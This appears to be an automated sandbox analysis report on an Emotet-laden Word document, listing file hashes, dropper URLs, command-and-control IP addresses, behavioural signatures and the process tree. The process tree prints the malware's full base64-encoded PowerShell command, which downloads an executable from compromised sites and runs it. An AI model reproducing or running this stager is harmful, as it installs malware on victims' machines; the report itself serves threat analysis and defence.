Analysis
-
max time kernel
136s -
max time network
108s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
01-08-2020 19:38
General
-
Target
SecuriteInfo.com.Exploit.Siggen2.13241.24099.28027.doc
-
Size
174KB
-
MD5
e195f36b206d00392513fa478017b164
-
SHA1
a0e0048e3387b1ca5c4dfc6175d4958ab5157557
-
SHA256
cb62bca74d99cf663f017a96fe335ed6f7b61dc98c84b17b65184293ed02e223
-
SHA512
5af0c615ba2c42b712126a8931dae123864cd2a580c8c278a93ea27afd4f7a2aef86cd435ca558db0a197bec164fa03cd8c20c705439b0c2d82c5b7b3a757a3b
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://nwcsvcs.com/cgi-bin/uz6_qs8_qr/
exe.dropper
http://odessaresources.com/cgi-bin/3_o_but9/
exe.dropper
https://onefarmdesign.com/cgi-bin/u_fig_m2mv/
exe.dropper
http://onewithyoucd.com/_mm/oix_ktcpc_dljhsex/
exe.dropper
http://www.piemonteitinera.net/n_g2o4_jumkt4/
Extracted
Family
emotet
C2
142.105.151.124:443
62.108.54.22:8080
212.51.142.238:8080
71.208.216.10:80
108.48.41.69:80
83.110.223.58:443
210.165.156.91:80
104.131.44.150:8080
104.236.246.93:8080
5.39.91.110:7080
209.141.54.221:8080
209.182.216.177:443
153.126.210.205:7080
91.211.88.52:7080
180.92.239.110:8080
183.101.175.193:80
162.241.92.219:8080
87.106.139.101:8080
114.146.222.200:80
65.111.120.223:80
rsa_pubkey.plain
Signatures
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
-
Emotet
Emotet is a trojan that is primarily spread through spam emails.
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Blacklisted process makes network request 1 IoCs
-
Executes dropped EXE 2 IoCs
-
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 280 IoCs
-
Drops file in System32 directory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.13241.24099.28027.doc"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Modifies registry class
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABaAEMAUQBEAFgAeABwAGIAPQAnAFoAWABHAE0ASwBjAHgAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAGAAUgBgAGkAVAB5AHAAcgBPAFQAYABPAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQATwBJAEcARwBJAGIAdABwACAAPQAgACcAOAA0ADkAJwA7ACQAQQBZAEsAUABVAGkAbABxAD0AJwBZAEgARgBOAEsAYwBjAG8AJwA7ACQAVwBGAEIATgBTAHMAdgBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABPAEkARwBHAEkAYgB0AHAAKwAnAC4AZQB4AGUAJwA7ACQAUwBIAEUAWQBRAHAAdgB1AD0AJwBDAFgARQBKAFcAZQBkAHAAJwA7ACQARgBHAFYATQBUAGgAaQBiAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAFcARQBCAEMATABpAEUATgBUADsAJABOAFEAQwBLAE0AdwBhAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgB3AGMAcwB2AGMAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHUAegA2AF8AcQBzADgAXwBxAHIALwAqAGgAdAB0AHAAOgAvAC8AbwBkAGUAcwBzAGEAcgBlAHMAbwB1AHIAYwBlAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAzAF8AbwBfAGIAdQB0ADkALwAqAGgAdAB0AHAAcwA6AC8ALwBvAG4AZQBmAGEAcgBtAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdQBfAGYAaQBnAF8AbQAyAG0AdgAvACoAaAB0AHQAcAA6AC8ALwBvAG4AZQB3AGkAdABoAHkAbwB1AGMAZAAuAGMAbwBtAC8AXwBtAG0ALwBvAGkAeABfAGsAdABjAHAAYwBfAGQAbABqAGgAcwBlAHgALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBwAGkAZQBtAG8AbgB0AGUAaQB0AGkAbgBlAHIAYQAuAG4AZQB0AC8AbgBfAGcAMgBvADQAXwBqAHUAbQBrAHQANAAvACcALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUABOAFcAVgBMAGcAaABjAD0AJwBUAEsAVgBLAEgAbwBkAHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAUABIAEgAWgBpAGMAcgAgAGkAbgAgACQATgBRAEMASwBNAHcAYQB5ACkAewB0AHIAeQB7ACQARgBHAFYATQBUAGgAaQBiAC4AIgBkAE8AdwBOAGwATwBBAGQAZgBgAEkAYABsAEUAIgAoACQARgBQAEgASABaAGkAYwByACwAIAAkAFcARgBCAE4AUwBzAHYAcwApADsAJABMAEIASABVAFQAegBhAGoAPQAnAEQATwBMAEIASgB2AHUAbgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAFcARgBCAE4AUwBzAHYAcwApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIAMAA3ADcAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGAARQBhAFQAZQAiACgAJABXAEYAQgBOAFMAcwB2AHMAKQA7ACQAWABWAFgAUgBPAHUAYwBrAD0AJwBTAFAAUQBHAEQAcQByAG4AJwA7AGIAcgBlAGEAawA7ACQAVQBVAFgAVQBDAG4AZABuAD0AJwBTAEEAQQBQAFUAbgBmAHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBLAFQAWgBRAG8AcABxAD0AJwBOAEkASABLAFMAaQB1AHMAJwA=1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Drops file in System32 directory
-
C:\Users\Admin\849.exeC:\Users\Admin\849.exe1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\esentutl\msvidc32.exe"C:\Windows\SysWOW64\esentutl\msvidc32.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\849.exe
-
C:\Users\Admin\849.exe
-
C:\Windows\SysWOW64\esentutl\msvidc32.exe
-
memory/748-2-0x0000000008780000-0x0000000008784000-memory.dmpFilesize
16KB
-
memory/748-4-0x0000000006C10000-0x0000000006E10000-memory.dmpFilesize
2.0MB
-
memory/748-5-0x000000000ACF0000-0x000000000ACF4000-memory.dmpFilesize
16KB
-
memory/748-6-0x000000000BD70000-0x000000000BD74000-memory.dmpFilesize
16KB
-
memory/1604-11-0x00000000003C0000-0x00000000003CC000-memory.dmpFilesize
48KB
-
memory/2024-12-0x0000000000000000-mapping.dmp
-
memory/2024-14-0x00000000005B0000-0x00000000005BC000-memory.dmpFilesize
48KB